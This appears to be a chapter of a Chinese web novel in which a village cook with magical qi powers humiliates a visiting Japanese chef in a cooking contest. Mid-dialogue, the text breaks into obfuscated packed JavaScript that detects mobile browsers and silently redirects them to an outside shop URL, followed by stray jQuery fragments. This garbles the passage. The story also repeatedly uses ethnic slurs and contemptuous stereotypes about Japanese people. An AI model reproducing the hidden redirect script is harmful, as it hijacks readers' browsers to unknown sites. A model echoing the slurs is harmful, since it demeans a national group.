第七章银鳞水镜与扶桑窃火
秋分过后，丰乐河的水清亮得能照见人影了。
荷花谢了，莲蓬老了，丹桂真的飘香了。
此时，满池的荷叶开始泛黄，风一吹，发出哗啦啦的干裂声，像是在催促着时节的更替。
高老爷子还没走，正系着围裙在灶房帮王嫂剥蒜，嘴里还念念有词：
“这气揉的手法，力道还得再柔一点，不能光讲快……”他倒是真把自己当成了帮厨。
就在这时，院门外传来一阵极轻却做作的脚步声，像是刻意为了显示“高雅”而踮着脚尖。
来人身着一袭藏青色的作务衣，赤足踏着雪白的布袜，头发梳得一丝不苟，挽成一个发髻。
这人一进门，是个人就知道他一定是鬼子，东洋人，看他那身藏青色的作务衣，就是一种虚伪。
他面容清癯，眼神却透着一股掩饰不住的傲慢与造作。
此人便是佐藤次郎，来自扶桑京都。
但他那身看似古朴的行头，领口的磨损处却暴露了不过是地摊货色。
他手里提着一个桧木匣子，色泽暗沉，纹理生硬，一看便知是流水线上的廉价工艺品，却被他当成了传世珍宝。
最近几年，丰乐河的酱干已名动全国，夏季的荷花节更是全省文旅的标杆。每年慕名而来的全国乃至世界客人不在少数。
他们大多数慕的是美食之名，美景之名，更是慕得是丰乐小镇的发展之名。
“这位是……”高老爷子停下手中的活，眯眼打量来人。他走南闯北，一眼就看出这人身上有种“狐假虎威”的气场，那是学了几招皮毛便急于显摆的虚浮，他故意拖长声音。
“在下佐藤次郎，来自扶桑京都。”
来人微微躬身，那腰弯得极不自然，像是量角器量过一般，语气更是带着一股居高临下的施舍味，
“听闻丰乐河有位王熙月小姐擅长‘气化之术’烹饪，实乃我东方料理界的奇技。特此前来，想请王家小姐赐教一二，让我扶桑料理，也能得以‘印证’。”
“印证”？此刻的王熙月正坐在井边磨刀，那是一把专门用于片生鱼的小刀，刀刃薄如蝉翼，一般情况她从不用刀。
她抬起头，那双漂亮的眼睛里瞬间闪过一丝冰冷的讥诮，嘴角却勾起一抹毫无温度的笑意：
“佐藤先生是怎么听说我的？我就是王熙月，您是来做‘考官’的么？我们丰乐河的灶台，有油烟，有烟火，怕脏了您那双‘印证’艺术的白袜子。至于‘赐教’……我们老祖宗的东西，什么时候轮到外人来‘印证’了？”
她这话，像是一盆冰水，瞬间浇灭了佐藤那股子做作的优雅。
佐藤仿佛没听见王熙月的讥讽，自顾自打开那个廉价桧木匣子。
匣中并不是金银，只有一块深蓝色的化纤丝绸，以及一把造型夸张、刃口却显单薄的柳叶刀。他取出丝绸，铺在八仙桌上，动作夸张得像是在表演，却又透着一股拙劣感。
“王家小姐误会了。”佐藤慢条斯理地说道，那语调像是背书，“在下的料理，名为‘怀石’，源自贵国禅宗。讲究的是‘旬物’，顺应时节；讲究的是‘一刀流’，一刀定乾坤。
听闻小姐能以气御物，这便是以‘人力’夺‘天工’，与我国‘自然’之道相悖。
在下此来，便是想看看，这‘旁门左道’，能否胜过我‘正统’之术。”
他特意加重了“源自贵国”、“正统”这几个字，意在彰显他才是传承者，而王熙月只是个“野路子”。
高老爷子在旁边听得直皱眉，忍不住冷哼一声：
“什么源自不源自的？老祖宗的东西传到你们那儿，改头换面一下，就成了你们的了？还‘正统’？脸皮比这八仙桌还厚！我能不能说，三河大捷的时候，你们那所谓的‘武士道’，在咱们的刀枪面前，屁滚尿流！实际上我也不骗你，我们这三河大捷与你们小日子，没有半毛钱关系，现在倒好，你拿着筷子刀叉跑到这儿来充大爷了？你能听明白我说什么吗？”
高老爷子这话，掷地有声，带着历史的回响。三河，就在丰乐河旁边，这片土地不仅出产美食，更流淌着不屈的血液。
当年太平军在此大败湘军，那是一场捍卫家园的硬仗，与倭人没有半毛钱关系，高老爷子的话就是告诉这岂倭人，滚吧！
佐藤脸色一僵，额头渗出细密的冷汗，却强撑着没发作，继续他那套表演。
他洗手，焚香。
那香是一种廉价的化学香精味，瞬间破坏了厨房里原有的食物香气。
他拿起带来的银鱼，这是条超大的银鱼，王熙月好象没有见过，只见他并未像王熙月那样感知鱼性，而是闭着眼，像是在背诵菜谱。良久，他才睁眼，手中的柳叶刀落下。
“唰！”
动作倒是快，却带着一股狠戾的匠气。
那银鱼瞬间被片成了三片，骨肉分离，鱼形却因用力过猛而有些散乱。随后，他用刀尖剔除鱼刺，动作急躁，甚至切断了几处鱼肉纤维。再将鱼肉片成薄片，厚薄不均，有些地方甚至已经破碎。
最可笑的是摆盘。他将这些残缺的鱼脍一片片摆在化纤丝绸上，试图拼成一轮圆月，却因鱼片破碎而显得东拼西凑，边缘参差不齐。
他又用筷子蘸了水，在旁边胡乱点上几滴，冒充“露水”，那水滴浑浊，毫无晶莹之感。
整道菜，不仅没有美感，反而透着一股寒酸和做作，像是一幅粗制滥造的赝品。
“请。”佐藤将菜推到桌子中央，强作镇定，眼神却忍不住瞟向王熙月，期待着她的“惊叹”。
高老爷子凑过去一看，差点没笑出声：“这叫什么‘水镜’？这分明是打碎了的月亮，还沾着泥！老朽活了七十岁，第一次见把银鱼片得这么难看的！这也配叫‘一刀流’？我看是‘乱刀流’还差不多！”
王熙月连看都懒得细看，只是用指尖轻轻敲了敲粗瓷碗的边沿，发出清脆的响声。她站起身，连围裙都没系，径直走到水缸边。
金手指·引潮诀·正本清源。
她没有像佐藤那样故弄玄虚，只是将手悬于水缸之上。
指尖微微一颤，那股气机不再是温和的共鸣，而是一种带着煌煌天威的“血脉压制”。
缸中的银鱼仿佛感受到了来自源头的召唤，瞬间活跃起来，却不再杂乱无章。
它们整齐划一地悬浮在水中，鱼头朝向王熙月，鱼尾轻轻摆动，荡起一圈圈涟漪，那姿态，透着一种发自本能的敬畏。
王熙月甚至没有触碰水面，只是对着水缸，轻轻吹了一口气。那口气，带着丰乐河千年的水脉气息，也带着三河大捷时，将士们临危不乱的不屈的魂魄，落在水面上。
缸中的银鱼，仿佛接到了圣旨，猛地向上一跃！十几尾银鱼，同时跃出水面，在空中划出一道道优美、流畅、充满生命力的银色弧线。
它们的身体在阳光下闪烁着玉石般的光泽，鳞片未掉，生机旺盛。
最关键的是，在它们跃起的瞬间，王熙月指尖的气机如同一张无形的天网，精准而地剥离了它们体内的鱼刺。
隔空取物呀！
那些细小的、透明的鱼刺，像被磁石排斥的铁屑，纷纷脱离了鱼身，无声无息地落入水中。
银鱼落回水中，依然鲜活，依然在游动，只是已经变成了“无骨之鱼”，形态完美，生机盎然。
现在的银鱼本身它们就似无骨。
王熙月这才伸出手，从水中捞出一条。那银鱼在她掌心微微跳动，通体晶莹，没有任何伤口，仿佛刚才的“去骨”只是天地造化。她将鱼放入一个粗瓷大碗里，又舀了一勺缸里的清水，仅此而已。
没有刀工，没有摆盘，没有调料。只有一条活着的无骨银鱼，和一汪清水。
粗瓷碗与那块华而不实的化纤丝绸相比，高下立判。
“佐藤先生，”王熙月的声音冷冽如冰，一字一句，敲打在每个人的心上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760421|209593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，“您这道‘银鳞水镜’，碎鱼烂片，东拼西凑，也敢称‘镜’？您那把刀，切的是我华夏的鱼，用的却是我华夏传过去的技法，改了个名字便成了您的‘一刀流’？真是滑天下之大稽！”
她顿了顿，目光如电，直射佐藤，声音陡然拔高，带着一种历史的厚重与威严：“三河大捷，与你们无关，但那是刀对刀，枪对枪，硬碰硬的骨气！这刀与枪与你们有关。
如今你倒好，偷学了我们的禅宗，改头换面叫‘怀石’，那是你们学偏了，弄块热的石头，称之为“怀石”，就能充饥吗？
你的“火”呢？想到我这偷吗？
现在又跑来偷我们的气化之术，还想让我们对你‘赐教’、‘印证’？你算个什么东西！”
她指着那碗“活水游龙”，厉声道：“我这碗里的，是活着的华夏鱼种，喝的是丰乐河的水，承的是三河大捷的刀气！你那丝绸上的，是死鱼烂肉，沾着你那偷窃文化的耻辱！滚！丰乐河不欢迎贼！你连碰这粗瓷碗的资格都没有！”
佐藤的脸瞬间由白转青，再由青转紫。
他想反驳，却发现自己连一句完整的话都说不出来。
王熙月的每一句话，都像是一记耳光，狠狠地抽在他的脸上。他想起了历史上那些不堪的入侵，想起了“武士道”在华夏铁蹄下的溃败，更想起了自己这身行头和这道菜的寒酸与虚假。
他颤抖着，想要去收起那个桧木匣子，却发现自己的手抖得厉害。
最终，他连那道“银鳞水镜”都没敢再看一眼，更别说品尝。
他几乎是狼狈地抓起匣子，连那块化纤丝绸都顾不上，转身便走，脚步踉跄，那双雪白的布袜很快就沾满了院里的泥土和鸡屎，显得愈发肮脏可笑。
“滚！别再让我看见你！”王嫂在一旁叉着腰，狠狠啐了一口，“什么东西，也敢来我们丰乐河撒野！”
高老爷子抚掌大笑：“痛快！太痛快了！熙月丫头，骂得好！就该这么教训这些不知天高地厚的贼！丰乐河的土地，容不得他们放肆！”
李老爷子不知何时站在了门口，手里拄着拐杖，目光深邃地看着佐藤那狼狈逃离的背影，沉声道：
“忘了历史，便是背叛。
这丫头，没给三河丢人。这丰乐河的水，养出来的不光是鱼，还有这股子硬气。”
王熙月看着那碗“活水游龙”，银鱼在清水中摆尾，自由自在。
她轻轻将碗放回水缸边，让银鱼重回水中。她知道，这银鱼离了水，活不了多久。但她刚才那一手，不仅保全了鱼的性命，更捍卫了这片土地的尊严。
下次就用这银鱼蒸蛋！
“春尝鲜笋夏吃瓜，秋食肥蟹冬热羹……”她轻声念着，看着夕阳下的河面，波光粼粼，仿佛有无数先烈的英魂在守护着这片水域，“这银鱼，是鲁班爷的馈赠。
我们做人做菜，都得留三分硬气。
无论何时，都是好食光。”
高老爷子沉默了片刻，突然解开围裙，郑重地对王熙月说：
“丫头，老朽不走了。你这‘气化’之术，老朽还没学透。这鲁菜的‘吊汤’，也许该换个做法了。这‘气揉’之后，是不是还能‘气炖’？你教我，我给你当帮厨，直到你烦了我为止。不为别的，就为你刚才那番话，就为这丰乐河的硬气！”
王熙月看着这个执拗的老头，笑得眉眼弯弯：“高老，帮厨可是要工钱的。过去一顿饭，三块大洋，管吃管住。现在就三百吧。”
“三百块就三百块！”高老爷子一拍大腿，“只要能学到真东西，三千块都值！能在这片硬气土地上做菜，是老朽的福分！”
西头唐家的院子里，炊烟再次袅袅升起。这一次，灶台边多了一个系着围裙的鲁菜泰斗，和一个正在琢磨如何用“气”来吊汤的年轻女子。
而那个关于“活水游龙”和“三河硬气”的故事，也随着佐藤的狼狈逃离，在丰乐河流域，乃至更远的地方，激昂地流传开来。